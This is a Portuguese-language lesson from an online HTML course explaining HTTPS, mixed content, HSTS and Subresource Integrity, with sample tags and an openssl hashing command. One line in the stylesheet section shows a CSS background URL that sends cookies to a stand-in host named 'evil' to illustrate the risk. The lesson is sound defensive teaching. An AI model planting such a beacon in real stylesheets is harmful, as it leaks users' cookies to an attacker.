0Pricing
HTML Academy · Aula

HTTPS e integridade de subrecursos

Verifique a integridade de recursos externos com o atributo integrity.

HTTPS e integridade de subrecursos é uma aula grátis de HTML Academy no CoddyKit. Esta é a aula 4 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de HTML Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de HTML Academy inclui 4 aulas no total.

Por que usar HTTPS em todos os lugares

HTTPS criptografa os dados em trânsito e autentica o servidor. Sem HTTPS, invasores na mesma rede (Wi-Fi de uma cafeteria, ISP, agente estatal) podem ler cada byte e injetar conteúdo malicioso nas respostas. Os navegadores modernos marcam páginas HTTP como "Não seguro" e muitas interfaces (câmera, geolocalização, processos de serviço) se recusam a funcionar por HTTP.

Conteúdo misto

Carregar recursos HTTP de uma página HTTPS é conteúdo misto. O navegador bloqueia imediatamente o conteúdo misto ativo (scripts, quadros incorporados, folhas de estilo) e emite um aviso sobre o conteúdo passivo (imagens). Carregue sempre cada recurso por HTTPS; use URLs relativas ao protocolo (//cdn.example.com) ou https:// absolutas.

HSTS

A Segurança de Transporte Rigorosa do HTTP, por meio do cabeçalho de resposta Strict-Transport-Security, informa aos navegadores que recusem conexões HTTP futuras com seu domínio. Depois que HSTS é armazenado em cache, um invasor não consegue rebaixar um usuário para HTTP, mesmo estando em uma posição de intermediário.

Por que usar SRI

Carregar scripts de CDN de terceiros é conveniente, mas arriscado — se o CDN for comprometido, um invasor poderá substituir o script por malware. A Integridade de Subrecursos (SRI) faz o navegador verificar o hash criptográfico do arquivo antes de executá-lo, recusando-se a executá-lo se o hash não corresponder.

O atributo integrity

Adicione um hash codificado em base64 de SHA-256/384/512 à tag de script: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. O navegador calcula o hash do arquivo baixado e se recusa a executá-lo quando há divergência.

<link
  rel="stylesheet"
  href="https://cdn.example.com/styles.css"
  integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
  crossorigin="anonymous">

Gerando hashes

Gere o hash com openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Ou use um complemento da ferramenta de compilação que emita o atributo de integridade automaticamente. A maioria dos CDN (jsdelivr, unpkg) exibe a tag SRI no trecho para copiar e colar.

crossorigin é obrigatório

O SRI exige que a resposta de origem cruzada permita a verificação da integridade por meio de CORS. Adicione crossorigin="anonymous" à tag e garanta que o CDN envie Access-Control-Allow-Origin. Sem isso, o navegador se recusa a verificar e o recurso não é carregado.

Vários hashes

O atributo integrity pode conter vários hashes separados por espaços. Isso é útil durante uma transição de versão: liste os hashes das versões antiga e nova, e o navegador aceitará qualquer uma que o CDN disponibilizar. Evite mais de alguns hashes para manter o atributo legível.

SRI para folhas de estilo

O SRI também protege <link rel="stylesheet">. Um arquivo CSS comprometido é menos perigoso diretamente do que um script comprometido, mas background: url("//evil/log?cookie=...") ainda pode exfiltrar dados. Aplique SRI a cada recurso externo sempre que possível.

Hospedar localmente costuma ser melhor

O SRI reduz o risco de comprometimento do CDN, mas não resolve todos os problemas: uma alteração de hash no CDN interrompe sua página até que você atualize o atributo integrity. Para bibliotecas críticas, hospede localmente o arquivo que revisou — isso elimina de uma só vez a necessidade de fixação pelo SRI e o risco da cadeia de fornecimento.

Desempenho

O SRI acrescenta um cálculo de hash por recurso — insignificante em equipamentos modernos, alguns microssegundos por quilobyte. A proteção contra ataques à cadeia de fornecimento supera em muito o custo. Não há motivo de desempenho para deixar de usar SRI ao carregar conteúdo de um CDN.

Limitações

O SRI verifica bytes específicos — não protege contra um CDN que forneça um arquivo diferente para alguns usuários (direcionamento seletivo). Para obter a máxima garantia, combine SRI com HTTPS, HSTS, CSP e hospedagem local dos recursos mais críticos.

Verificação de conhecimentos

Contra o que o atributo integrity em uma tag de script protege?

Resumo

HTTPS criptografa e autentica, HSTS impede ataques de rebaixamento e SRI verifica se arquivos de terceiros não foram adulterados. Adicione hashes de integridade (com crossorigin="anonymous") a cada script e folha de estilos externos de um CDN que você não controla. Para os recursos mais críticos, prefira hospedá-los localmente — eliminando completamente o risco da cadeia de fornecimento.

Perguntas Frequentes

A aula “HTTPS e integridade de subrecursos” é grátis?

Sim — o texto completo de “HTTPS e integridade de subrecursos” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de HTML Academy, atualize para CoddyKit PRO. O curso de HTML Academy inclui 4 aulas no total.

O que vou aprender em “HTTPS e integridade de subrecursos”?

Verifique a integridade de recursos externos com o atributo integrity. Você pratica HTML Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.

Preciso ter experiência prévia para começar HTML Academy?

Nenhuma experiência prévia é necessária. HTML Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 4 de 4.

Quanto tempo leva a aula “HTTPS e integridade de subrecursos”?

A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.

Posso escrever e executar código nesta aula de HTML Academy?

Sim. Cada aula de HTML Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.

Todas as aulas deste curso

  1. Política de Segurança de Conteúdo meta http-equiv
  2. XSS via innerHTML e como evitá-lo
  3. Sandbox de iframe e Política de Permissões
  4. HTTPS e integridade de subrecursos
← Voltar para HTML Academy